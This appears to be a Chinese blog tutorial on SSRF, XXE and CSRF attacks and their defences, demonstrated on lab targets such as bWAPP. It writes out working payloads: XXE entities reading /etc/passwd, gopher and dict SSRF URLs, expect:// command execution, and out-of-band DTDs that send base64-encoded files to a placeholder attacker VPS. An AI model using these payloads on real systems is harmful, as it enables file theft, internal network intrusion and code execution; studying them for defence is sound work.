SSRF和XXE漏洞攻防

  1. SSRF原理及寻找方法

简介

SSRF(Server-Side Request Forgery:服务器端请求伪造)

是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF

是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

SSRF 形成原因

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定 URL地址获取网页文本内容,加载指定地址的图片,文档,等等。

首先,我们要对目标网站的架构了解,脑子了要有一个架构图。比如 : A 网站,是一 个所有人都可以访问的外网网站,B 网站是一个他们内部的网站,我们普通用户只可以访问 a 网站,不能访问 b 网站。但是我们可以同过 a 网站做中间人,访问 b网站,从而达到攻击 b 网站需求

所以一般攻击选择一台可以由我们访问的存在漏洞的外网服务器(作为跳板机)

正常用户访问网站的流程是

输入 A 网站 URL --> 发送请求 --> A 服务器接受请求(没有过滤),并处理 -->返回用户响应

假设请求是 www.baidu,com/xxx.php?image=URL

那么产生 SSRF 漏洞的环节在哪里呢?就在安全的网站应接收请求后,检测请求的合法性的时候

产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以 及限制,导致 A 网站可以从其他服务器的获取数据

例如: www.oldboyedu.com/xxx.php?image=www.luffycity.com/1.jpg

如果我们将 www.luffycity.com/1.jpg 换为与该服务器相连的内网服务器地址会产生什么 效果呢?

如果存在该内网地址就会返回 1xx 2xx 之类的状态码,不存在就会其他的状态码

小结

SSRF 漏洞就是通过篡改获取资源的请求 ,将它发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。 SSRF 用途 攻击者利用

ssrf 可以实现的攻击主要有 5 种

1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息;

2.攻击运行在内网或本地的应用程序(比如溢出);

3.对内网 web 应用进行指纹识别,通过访问默认文件实现;

4.攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击(比如 struts2,sqli等);

5.利用 file 协议读取本地文件等。

(2)SSRF攻防实战及防范方法

bWAPP 中的 SSRF 给出了 3 个小实验来说明 SSRF 的利用场景

任务 1:使用远程文件包含进行端口扫描(内网探测)

点击任务 1 中的 Port scan 可以获得一份端口扫描的攻击脚本

仅需要包含脚本,并请求 IP 参数为对应的主机即可,接下来就是利用 bWAPP 中的远程文件包含漏洞,执行端口扫描的脚本

Choose your bug 中选择 Remote & Local File Inclusion (RFI/LFI)security level 还是选择 low,然后点击 Hack

进入 Remote & Local File Inclusion (RFI/LFI)的实验后,看到有个选择语言的功能模块,直接执行下,观察 Get

请求中的参数,发现是典型文件包含问题,language=lang_en.php

GET 的请求: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go

使用如下 PAYLOAD,远程包含并执行扫描脚本探测内网主机的端口和服务

POST: http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ss

rf-1.txt&action=go POST DATA:ip=192.168.163.159

这里 xxx.xxx.xxx (192.168.163.1)是扫描脚本的访问地址,192.168.163.159 是要扫描的目标主 机地址,且该地址是 xxx.xxx.xxx 主机无法访问到的,然后方便查看区分使用 post 请求提交

要进行扫描的目标主机 IP,扫描结束后便返回结果。

任务 2:使用 XXE 获取敏感文件中的内容(文件读取)

先点击任务 2 中的 Access 得到 XXE 的利用脚本:http://xxx.xxx.xxx/bWAPP/xxe-1.php,然访问

XML External Entity Attacks (XXE)演练环境,使用 burpSuite 抓包,并发送到 repeater

中进行测试

测试中涉及的 XXE 知识可以参考 http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA 这篇文章。

使用 http 协议获取/bWAPP/robots.txt 的内容。

<?xml version="1.0" encoding="utf-8"?>

 <!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "http://localhost/1/bwapp/robots.txt"> ]>

 <reset>  <login>&bWAPP;

 </login>

  <secret>blah</secret>

   </reset>

xml版本定义

DTD定义根元素元素类型

读取文件内容

引用取到的内容

php://filter/read=convert.base64-encode/resource=http://192.168.0.67/1/bwapp/passwords/he

roes.xml

使用 php 协议获取/bWAPP/passwords/heroes.xml 中的经过 base64 编码的数据

使用 file 协议获取 bWAPP 本机的/etc/passwd 的内容

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [ <!ENTITY bWAPP SYSTEM "file://etc/passwd"> ]> <reset>

<login>&bWAPP;</login>  <secret>blah</secret>  </reset>

适用于文档中包含特殊符号,当xml执行会报错,这里采用php协议编码一下,绕过

任务 3:使用 XXE 进行内网 sql 注入

这个任务对内网站点的 SQL 注入漏洞进行利用。如,192.168.163.150 主机上有注入漏洞那

么可以发送如下 payload 可以使用 SSRF 进行 SQL 漏洞的利用,当然也可以进行 Struts2 等漏

洞的利用

1.<?xml version=”1.0″ encoding=”utf-8″?>

2.<!DOCTYPE root [

3. <!ENTITY bWAPP SYSTEM

"http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">

4.]>

5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>

SSRF 知识拓展

以上讲述的是 SSRF 的一般用法,用 http,file,php 协议来进行内网探测,文件读取, 漏洞利用等,接下来讨论的是 SSRF

的拓展知识。回想上面的利用都是发送 GET 的请求进行 利用的。那么请思考下如果内网站点的漏洞在 POST 请求的参数中呢? 又或者漏洞点在

request header 中的某个字段里呢?应该如何构造 SSRF 请求进行利用?

实验靶机搭建

从上面的表格内容可以知道,在 php 中要使用 gopher 协议需要 curl 的支持,当然 curl 还支 持了很多的协议,首先准备好

lamp 的环境,如果 ubuntu 上的 PHP 没有 curl 拓展,需要使 用以下命令进行安装

sudo apt-get install php5-curl

sudo service apache restart 然后编写以下测试代码,用户可控的输入点是$_GET[‘url’]到此就完成实验靶机的搭建了

1.<?php

2.// 创建一个新 cURL 资源

3.$ch = curl_init();

4.// 设置 URL 和相应的选项

5.curl_setopt($ch, CURLOPT_URL, $_GET['url']);

www.oldboyedu.com

6.curl_setopt($ch, CURLOPT_HEADER, false);

7.// 抓取 URL 并把它传递给浏览器

8.curl_exec($ch);

9.//关闭 cURL 资源,并且释放系统资源

10.curl_close($ch);

11.?>

file 协议的运用

请求 http://192.168.163.150/test.php?url=file:///etc/passwd 便可以获取敏感文件的信息

gopher 协议的运用

在 SSRF 漏洞利用中号称万金油的 gopher 协议

gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏 洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,这样变可 以解决漏洞点不在 GET 参数的问题了

基本协议格式:

URL:gopher://<host>:<port>/<gopher-path>

进行如下请求可以发送一个 POST 请求,且参数 cmd 的值为 balabal,这里构造 gopher 请求的时候,回车换行符号要进行 2

次 url 编码%250d%250a

http://192.168.0.100/ssrf1.php?url=gopher://192.168.0.105:8080/_POST%20/test.php%20HTTP/

1.1%250d%250aHost:%20192.168.0.105:8080%250d%250aUser-Agent:%20curl/7.43.0%250d%2

50aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%2

50a%250d%250aid=1

此时可以在 192.168.0.105 主机中的 access.log,找到访问日志

当然也可以使用网络数据包分析工具( burp),抓取 TCP 流量中 HTTP 的数据 由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色,具体的攻击方式可以参考如下链接:

https://blog.chaitin.cn/gopher-attack-surfaces/

dict 协议应用

dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源, 但是在 SSRF 中如果可以使用 dict

协议那么就可以轻易的获取目标服务器端口上运行的服务 版本等信息

如请求 http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info

可以获取目标主 机的 3306 端口上运行着 mysq-l5.5.55 版本的应用。

**有关 SSRF 其它扩展知道可参考: http://www.anquan.us/static/drops/web-7550.html**

SSRF 防护方法

1、防护措施

(黑名单)

(1)过滤 10.0.0.0/8 、172.16.0.0/12、192.168.0.0/16、localhost 私有地址、IPv6 地址

(2)过滤 file:///、dict://、gopher://、ftp:// 危险 schema

(3)对返回的内容进行识别

(4)内网服务开启鉴权(Memcached, Redis, Elasticsearch and MongoDB)

2、最佳防护

(1)使用地址白名单

(2)对返回内容进行识别

(3)需要使用互联网资源(比如贴吧使用网络图片)而无法使用白名单的情况:首先禁用CURLOPT_FOLLOWLOCATION;然后通过域名获取目标

ip,并过滤内部 ip;最后识别返回的内容是否与假定内容一致

(3)CSRF进行地址修改及钓鱼攻击还原

0x01 CSRF介绍

CSRF的全名为Cross-site request forgery,它的中文名为 跨站请求伪造

CSRF是一种夹持用户在已经登陆的web应用程序上执行非本意的操作的攻击方式。

1).CSRF是利用了系统对页面浏览器的信任

2).XSS则利用了系统对用户的信任。

原理:

攻击者盗用了你的身份,以你的名义发送恶意请求

CSRF能够做的事情有:

以你的名义发送邮件、发消息、盗取你的账号,甚至于购买商品,虚拟货币转账

0x02.本地靶场演示csrf

这个cms是我找的,提交cnvd不收,我就拿出来讲QAQ

cms下载地址:http://down.chinaz.com/soft/39546.htm

 

因为存在csrf和xss,然后刚好想到这里友链有csrf和xss

那我们就直接制作一个poc

 

copy一下,然后复制到html中,我们再用火狐打开

 

上面看到了友链是没有链接的,然后我们点击我们的poc

 

然后发现success成功了,我们去前台刷新,看会不会跳xss弹窗

 

然后我们再去后台看下是否添加了

 

(4)XXE原理利用防御

XXE

XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

DTD

文档类型定义(DTD)可定义合法的 XML 文档构建模块它使用一系列合法的元素来定义文档的结构DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

内部的 DOCTYPE 声明

<!DOCTYPE 根元素 [元素声明]>

外部文档声明

<!DOCTYPE 根元素 SYSTEM ”文件名”> //引用本地文件

<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">  //引用网络文件

DTD 实体

就是定义一个变量来提取冗余数据。

内部实体声明

<!ENTITY 实体名称 ”实体的值”>

外部实体声明

<!ENTITY 实体名称 SYSTEM ”URI”>

参数实体声明

<!ENTITY %实体名称 ”实体的值”>

<!ENTITY %实体名称 SYSTEM ”URI”>

不了解xml和dtd的可以看我前面两篇文章

xml概述

xml文件约束dtd

XXE利用

读文件

类似这样,如果有回显的话就可以利用file协议读取服务器的文件

<?xml version="1.0" encoding="UTF-8"?>  

<!DOCTYPE ANY [  

<!ENTITY name SYSTEM "file:///C:/windows/win.ini">  

]>

<root>&name;</root>

内网探针或攻击内网应用(触发漏洞地址)

利用http协议来探针内网的文件和端口

<?xml version="1.0" encoding="UTF-8"?>  

<!DOCTYPE ANY [  

<!ENTITY name SYSTEM "http://loaclhost:8080/index.html">  

]>

<root>&name;</root>

RCE

由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个 expect 扩展我们就能直接利用 XXE 进行 RCE 。

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>

<dir>

<file>

&cmd

</file>

</dir>  

引入外部实体 dtd

<?xml version="1.0" encoding="UTF-8"?>  

<!DOCTYPE ANY [  

<!ENTITY name SYSTEM "http://your.com/evil.dtd">  

]>

<root>&name;</root>

无回显-读取文件

xxe.xml文件

<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">

1

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE data [

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">

<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">

%dtd; %all;

]>

<value>&send;</value>

通过%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去,在vps服务器的日志文件就可以看到base64加密后的内容

协议-读文件(绕过)

利用不同的协议去绕过防御,类似php:filter php:input等在文件包含中出现过的php伪协议都可以用上

有时当前请求可以接收xml数据包,但是数据包格式不是xml,可以改请求头Content-Type 为xml格式,在把xml文件放到请求体里。

XXE漏洞修复与防御方案

禁用外部实体

PHP: libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexml Data = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的 XML 数据

过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC

工具使用

XXEinjector的漏洞利用工具,XXEinjector是一款基于Ruby的XXE注入工具,

它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。

(5)XXE基础知识XXE漏洞攻防测试

概述

利用 xxe 漏洞可以进行拒绝服务攻击(插入DOS攻击),文件读取,命令(代码)执行(需要在编译安装php时,将命令执行模块也安装了),SQL(XSS)注入,内外扫描端口(远程包含漏洞),入侵内网站点等,内网探测和入侵是利用 xxe 中支持的协议进行内网主机和端口发现,可以理解是使用 xxe 进行 SSRF 的利用,基本上都能做

一般 xxe 利用分为两大场景:有回显和无回显。有回显的情况可以直接在页面中看到Payload 的执行结果或现象,无回显的情况又称为 blind xxe,可以使用外带数据通道提取数据。

有回显情况

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>

<foo>&xxe;</foo>

<!DOCTYPE foo [<!ELEMENT foo ANY >

<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >

%xxe;]>

<foo>&evil;</foo>

外部 evil.dtd 中的内容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

无回显的情况

可以使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接受数据的服务器(攻击服务器VPS)xxx.xxx.xxx

<!DOCTYPE convert [<!ENTITY % remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]>

有报错直接查看报错信息

无报错需要访问接受数据的服务器中的日志信息,可以看到经过 base64 编码过的数据,解码后便可以得到数据。

我们清楚第看到服务器端接收到了我们用 base64 编码后的敏感文件信息(编码也

是为了不破坏原本的 XML 语法),不编码会报错

整个调用过程

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成 html 实体编码 % ),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

test.dtd 的内容,内部的%号要进行实体编码成% (注:编码可参考:http://www.mamicode.com/info-detail-1680849.html)

 <!ENTITY % file SYSTEM

"php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">

<!ENTITY % int "<!ENTITY % send SYSTEM'http://192.168.0.105:8080?p=%file;'>">

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小武很忙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值